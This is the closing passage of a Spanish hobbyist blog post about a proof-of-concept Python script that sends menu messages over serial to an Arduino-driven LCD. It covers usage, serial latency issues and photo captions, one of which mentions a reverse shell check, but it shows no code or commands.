Una vez hayamos cargado el código en nuestro Arduino debemos editar el código para especificarle el puerto serial donde está nuestro Arduino en la variable «ser». Si todo ha ido bien ahora podremos ejecutar el script y veremos como se van mostrando mensajes en nuestra LCD.

Para acceder al menú pulsaremos el botón Select y luego navegaremos con los botones de derecha e izquierda por el menú y seleccionamos nuevamente con Select.

¿Problemas? Principalmente la latencia que se genera en la comunicación por el puerto serie, como veis no he implementado ningún tipo de ACK por ninguna de las dos partes así que se utilizan sleeps en el código python para controlar esta latencia. En mi caso a veces necesito reiniciar el Arduino ya que se «laggea» y no muestra los mensajes correctamente.

Otra vez insistir que esto es un simple POC y el código se puede mejorar muchísimo jeje

Un par de fotos de la LCD funcionando:

La primera opción del menú:

Resultado del check de la reverse shell:

Mensaje de inicio del script:

Espero os haya gustado y cualquier duda o pregunta dejadme un comentario y contestaré en cuanto pueda.

Saludos y, como siempre, gracias por vuestra visita!

Mención especial a Javi del grupo de Telegram de los conejos que me «instigó» de forma indirecta a realizar este proyecto jeje

Publicado en arduino, DIY, python | Deja un comentario